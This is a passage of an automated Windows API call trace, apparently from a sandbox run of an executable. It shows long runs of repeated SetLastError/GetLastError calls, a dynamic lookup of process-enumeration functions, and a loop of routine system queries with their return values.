returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.681] SetLastError (dwErrCode=0x0) [0112.681] GetLastError () returned 0x0 [0112.682] SetLastError (dwErrCode=0x0) [0112.682] GetLastError () returned 0x0 [0112.682] SetLastError (dwErrCode=0x0) [0112.682] GetLastError () returned 0x0 [0112.682] SetLastError (dwErrCode=0x0) [0112.682] GetLastError () returned 0x0 [0112.682] SetLastError (dwErrCode=0x0) [0112.682] GetLastError () returned 0x0 [0112.682] SetLastError (dwErrCode=0x0) [0112.682] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.683] SetLastError (dwErrCode=0x0) [0112.683] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.684] SetLastError (dwErrCode=0x0) [0112.684] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.685] GetLastError () returned 0x0 [0112.685] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.686] SetLastError (dwErrCode=0x0) [0112.686] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.687] SetLastError (dwErrCode=0x0) [0112.687] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.688] SetLastError (dwErrCode=0x0) [0112.688] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.689] SetLastError (dwErrCode=0x0) [0112.689] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.690] SetLastError (dwErrCode=0x0) [0112.690] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetLastError (dwErrCode=0x0) [0112.691] GetLastError () returned 0x0 [0112.691] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0112.692] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0112.693] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.693] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.693] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.693] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.694] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0112.694] GetProcAddress (hModule=0x773e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7741735f [0112.694] GetProcAddress (hModule=0x773e0000, lpProcName="Module32First") returned 0x77475cd9 [0112.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.697] GetCommProperties (in: hFile=0x0, 